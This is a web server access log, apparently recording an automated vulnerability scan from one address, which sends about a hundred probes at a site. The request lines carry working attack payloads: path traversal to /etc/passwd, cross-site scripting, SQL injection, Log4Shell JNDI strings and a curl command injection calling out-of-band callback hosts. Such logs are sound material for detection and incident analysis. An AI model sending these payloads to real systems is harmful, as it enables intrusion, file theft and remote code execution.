AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://d5g6to2hausk1oj0j65gkptytjq5a47tu.oast.live/ HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /self.key HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /files.md5 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /revive/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /delete_cart_goods.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.htm HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.//WEB-INF/classes/META-INF/microprofile-config.properties HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/wordpress_sso/pages/index.php?wordpress_user=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=1 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/userrolelist/systemRoles?require-cfg.js HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIKLBEtdvtnN0S79JoaXPVfl.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute(\"curl+http%3a//d5g6to2hausk1oj0j65gujc3r3uxbyoy9.oast.live+-H+'User-Agent%3a+f1Zprp'\")}' HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/graphql HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi?2 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/logout?continue=//interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /action.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /asd/../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /homeaction.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=21287890408d5b01ec80eaaae86b6b04 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_adminer/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /autodiscover/autodiscover.json HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cas/v1/tickets/ HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/geojson?url=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /confluence/pages/createpage-entervariables.action HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /viewlog.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /IND780/excalweb.dll?webpage=../../AutoCE.ini HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR HTTP/1.1" 199
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /x HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/phpfastcache/phpfastcache/examples/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/slogin/login.py HTTP/1.1" 199
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fmlurlsvc/?url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /geoserver/TestWfsPost HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=380DIULiDWooeLvNrUVVqADeCmR.php:aaa HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/add-on/business-continuity/api/plugin?folderName&pluginName=../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/test HTTP/1.1" 199
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wan.htm HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfmx/CFIDE/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/login/oauth2/auth HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getCorsFile?urlPath=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /img/../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgitest?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RestAPI/ImportTechnicians HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /;/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /registry/machine?app=3wxbx&appType=0&version=0&hostname=sQPIs&ip=d5g6to2hausk1oj0j65g3ww5eda8y44j5.oast.live&port=0 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /./RestAPI/LogonCustomization HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Side.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goforms/menu HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/elFinder-2.1.9/elfinder.html HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adm_program/system/redirect.php?url=javascript://%250aalert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /STATE_ID/123/agentLogUploader HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?x=${jndi:ldap://${:-478}${:-836}.${hostName}.uri.d5g6to2hausk1oj0j65gcwo1b4o79p8a9.oast.live/a} HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /changePassword?username=administrator HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /testrail/files.md5 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/380DIRkJQmSITaSW920SW2N9lcx.php HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /formLoginAuth.htm?authCode=1&userName=admin&goURL&action=login HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apisix/admin/migrate/export HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/blade-user/user-list HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIVn1Yg4HAoUqdyOL0vSvkBf.txt HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/pluginscript/..;/..;/..;/getFavicon?host=d5g6to2hausk1oj0j65gymia3gpcm6zii.oast.live HTTP/1.1" 226
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?x=${jndi:ldap://127.0.0.1 HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ddns_check.ccp HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi?7 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror=\"prompt(document.domain)\"><form> HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /boafrm/formWlanRedirect?redirect-url=http://interact.sh&wlan_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goform/activate_process?isv&akey&hostid&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password HTTP/1.1" 199
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /language/lang HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lab.html?vpath=//interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
